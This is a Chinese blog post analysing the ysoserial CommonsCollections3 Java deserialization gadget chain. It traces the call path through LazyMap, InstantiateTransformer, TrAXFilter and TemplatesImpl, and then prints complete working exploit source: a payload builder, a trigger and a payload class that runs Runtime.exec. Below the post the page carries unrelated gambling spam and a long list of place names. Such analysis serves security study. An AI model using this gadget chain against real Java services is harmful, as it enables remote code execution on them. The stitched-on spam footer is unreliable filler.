• java反序列化-ysoserial-調試分析總結篇(3)

    前言:

    這篇文章主要分析commoncollections3,這條利用鏈如yso描述,這個與cc1類似,只是反射調用方法是用的不是invokeTransformer而用的是InstantiateTransformer,整個調用過程如下圖

    利用鏈分析:

    如上圖所示,入口點還是Annotationinvoationhandler的Entryset

    此時將會調用membervalues.get,其中var4位entryset,而membervalues中存儲的為lazymap類的實例,即調用lazymap的get函數

    即接著調用chainedTransformer來對key進行轉換

    其中iTransformer中存儲了除了constantTransformer直接返回類,這里使用的類是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

    接下來到了InstantiateTransformer的transformer函數,這里面會拿到input對應類的參數類型為templates的構造函數,然后再實例化

    接著一路跟到TrAXFilter的構造函數中,可以看到這里實際上調用了templates.newTransformer,那我們知道templatesImpl的可以通過_bytecode

    接下來的過程就不在敘述,就是templates類的利用

    yso構造分析:

     yso在這里構造payload的時候,constantTransformer返回的是TrAxFilter類,然后再結合instantiateTransformer的transform函數可以拿到入口參數的構造函數,然后再實例化,實例化過程中將調用

    TrAxFilter的構造函數,從而調用templates.newTransformer

    exp:

    exp.java

    package CommonCollections3;
    
    import javassist.*;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.xml.transform.Templates;
    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.*;
    import java.util.HashMap;
    import java.util.Map;
    
    //
    //@Dependencies({"commons-collections:commons-collections:3.1"})
    //
    public class exp {
        public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
    
            //
            //構造Templates對象
            //
            TemplatesImpl tmp = new TemplatesImpl();
    
            //rce代碼塊的對象
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(payload.class));
            CtClass pay = pool.get(payload.class.getName());
            byte[] PayCode = pay.toBytecode();
    
            Class clazz;
            clazz  = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Field tf = clazz.getDeclaredField("_bytecodes");
            tf.setAccessible(true);
            tf.set(tmp,new byte[][]{PayCode});
            Field name = clazz.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(tmp,"tr1ple");
    
            HashMap InnerMap = new HashMap();
            Transformer[] trans = new Transformer[]{
             new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(
                            new Class[]{Templates.class},
                            new Object[]{tmp}
                            )
            };
    
            ChainedTransformer chined = new ChainedTransformer(trans);
            Map outmap = LazyMap.decorate(InnerMap,chined);
    
            final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            con.setAccessible(true);
            InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
            Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);
    
    
            //外層裝proxy代理
            final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            out_con.setAccessible(true);
            InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);
    
            //序列化
            File file;
            file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
            FileOutputStream fo = new FileOutputStream(file);
            ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
            ObjOut.writeObject(out_han);
    
        }
    }

    readobj.java

    package CommonCollections3;
    
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import java.lang.Runtime;
    
    public class readObj {
        public static void main(String[] args) {
            File file;
            file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
            try {
                ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
                obj.readObject();
                obj.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
        }
    
    }

    payload.java

    package CommonCollections3;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class payload extends AbstractTranslet {
        {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        public payload(){
            System.out.println("tr1ple 2333");
        }
    
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }

    這條利用鏈也是受jdk版本影響的,相較于cc2有局限性,和cc1相類似,外層包裝相同,只是內部chained轉換鏈變化了

    posted @ 2020-03-01 21:45  tr1ple  閱讀(...)  評論(...編輯  收藏
    贵州快三平台贵州快三主页贵州快三网站贵州快三官网贵州快三娱乐贵州快三开户贵州快三注册贵州快三是真的吗贵州快三登入贵州快三快三贵州快三时时彩贵州快三手机app下载贵州快三开奖 色达县 | 西林县 | 福贡县 | 石首市 | 黄龙县 | 金平 | 花莲县 | 灵台县 | 合川市 | 大同市 | 顺昌县 | 晴隆县 | 巍山 | 木兰县 | 余江县 | 南通市 | 昆山市 | 江阴市 | 蛟河市 | 永寿县 | 治多县 | 信宜市 | 青岛市 | 闻喜县 | 静宁县 | 嘉祥县 | 凉山 | 濉溪县 | 汉阴县 | 阿拉善左旗 | 府谷县 | 正镶白旗 | 洛宁县 | 庆城县 | 平遥县 | 鄢陵县 | 夏河县 | 澄城县 | 甘谷县 | 扶风县 | 昌都县 | 瑞安市 | 白玉县 | 贡觉县 | 郁南县 | 丰顺县 | 龙川县 | 奉化市 | 西乌 | 沂南县 | 晋州市 | 青川县 | 泰顺县 | 镇远县 | 宝山区 | 筠连县 | 山西省 | 抚州市 | 青神县 | 镇安县 | 古交市 | 宁海县 | 石城县 | 青岛市 | 星子县 | 淮安市 | 交口县 | 长白 | 临桂县 | 于都县 | 农安县 | 新竹县 | 安塞县 | 平远县 | 黑河市 | 潼关县 | 洛阳市 | 顺义区 | 蒙山县 | 昌图县 | 浦北县 | 洛浦县 | 肇州县 | 齐河县 | 扶绥县 | 巴青县 | 精河县 | 定兴县 | 五大连池市 | 社旗县 | 谷城县 | 玉林市 | 南木林县 | 牟定县 | 黑龙江省 | 德清县 | 扶余县 | 涟水县 | 呼图壁县 | 贵定县 | 鄢陵县 | 宁夏 | 珲春市 | 伊宁市 | 安远县 | 景泰县 | 肥城市 | 石嘴山市 | 海城市 | 黄石市 | 江口县 | 观塘区 | 长治市 | 龙井市 | 蒙阴县 | 漯河市 | 耒阳市 | 石棉县 | 梧州市 | 惠来县 | 海口市 | 邹平县 | 武强县 | 腾冲县 | 十堰市 | 南汇区 | 乌鲁木齐市 | 阆中市 | 汾阳市 | 三穗县 | 东乌珠穆沁旗 | 高台县 | 大丰市 | 潮安县 | 旬邑县 | 安国市 | 桦南县 | 平度市 | 驻马店市 | 徐闻县 | 乡城县 | 柳州市 | 桃源县 | 临海市 | 呼玛县 | 准格尔旗 | 门头沟区 | 克拉玛依市 | 革吉县 | 株洲市 | 舒城县 | 新竹市 | 邵阳市 | 宁晋县 | 资兴市 | 霍林郭勒市 | 康保县 | 荆门市 | 玛沁县 | 建昌县 | 桃源县 | 神木县 | 大宁县 | 浦城县 | 宜君县 | 大名县 | 朔州市 | 沙河市 | 海兴县 | 昔阳县 | 马公市 | 札达县 | 江津市 | 苍山县 | 海安县 | 嘉义市 | 吴川市 | 翁牛特旗 | 保山市 | 亳州市 | 汉中市 | 盐城市 | 布拖县 | 浑源县 | 微山县 | 西昌市 | 白沙 | 灯塔市 | 新丰县 | 林芝县 | 河北省 | 左云县 | 盘锦市 | 东港市 | 泽州县 | 元朗区 | 西和县 | 申扎县 | 贵州省 | 揭阳市 | 修武县 | 湖州市 | 卢龙县 | 安乡县 | 兰州市 | 玉环县 | 安化县 |